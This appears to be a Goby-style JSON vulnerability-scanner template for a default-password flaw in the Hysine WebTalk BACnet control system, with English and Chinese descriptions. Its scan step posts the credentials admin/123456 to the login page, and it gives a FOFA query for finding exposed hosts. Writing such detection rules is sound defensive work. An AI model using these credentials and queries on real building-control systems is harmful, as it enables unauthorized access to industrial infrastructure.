{
  "Name": "Hysine webtalk defaulte password vulnerability",
  "Description": "<p>Hysine webtalk is the world's leading BACnet control system</p><p> there is a weak password vulnerability in hysine webtalk system, which can be used by attackers to obtain sensitive information.</p>",
  "Product": "Hysine",
  "Homepage": "https://fofa.so/",
  "DisclosureDate": "2021-12-03",
  "Author": "9429658@qq.com",
  "FofaQuery": "title=\"WEBtalk\" && body=\"webtalk\"",
  "GobyQuery": "title=\"WEBtalk\" && body=\"webtalk\"",
  "Level": "1",
  "Recommendation": "<p>It is recommended that the administrator modify the background management password to prevent malicious login from tampering with the system and causing potential security risks.</p>",
  "Impact": "<p>there is a weak password vulnerability in hysine webtalk system, which can be used by attackers to obtain sensitive information.</p>",
  "Translation": {
    "CN": {
	  "Name": "Hysine Webtalk 默认口令漏洞",
      "Product": "Hysine",
      "Tags": [
        "默认口令"
      ],
	  "Description": "<p>Hysine Webtalk是世界领先的BACnet控制系统。</p><p>Hysine Webtalk系统存在默认口令，攻击者可利用该漏洞获取敏感信息。<br></p>",
      "Impact": "<p>Hysine Webtalk系统存在默认口令，攻击者可利用该漏洞获取敏感信息。<br></p>",
      "Recommendation": "<p>建议管理员修改后台管理口令，防止恶意登录对系统篡改，造成安全隐患。</p>",
      "VulType": [
        "默认口令"
      ]
    }
  },
  "References": [
    "https://fofa.so/"
  ],
  "Is0day": false,
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/_webtalk/_cur/loginA.php",
        "follow_redirect": false,
        "header": {
          "Cache-Control": "max-age=0",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "application/x-www-form-urlencoded",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Connection": "close"
        },
        "data_type": "text",
        "data": "userID=admin&pwdID=123456"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "O_Alarm_NoRecord",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "url=init.php",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "keymemo|define|variable|admin:123456",
        "vulurl|define|variable|{{{scheme}}}://admin:123456@{{{hostinfo}}}/_webtalk/_cur/loginA.php"
      ]
    }
  ],
  "ExploitSteps": null,
  "Tags": [
    "default password"
  ],
  "VulType": [
    "default password"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "4.5",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}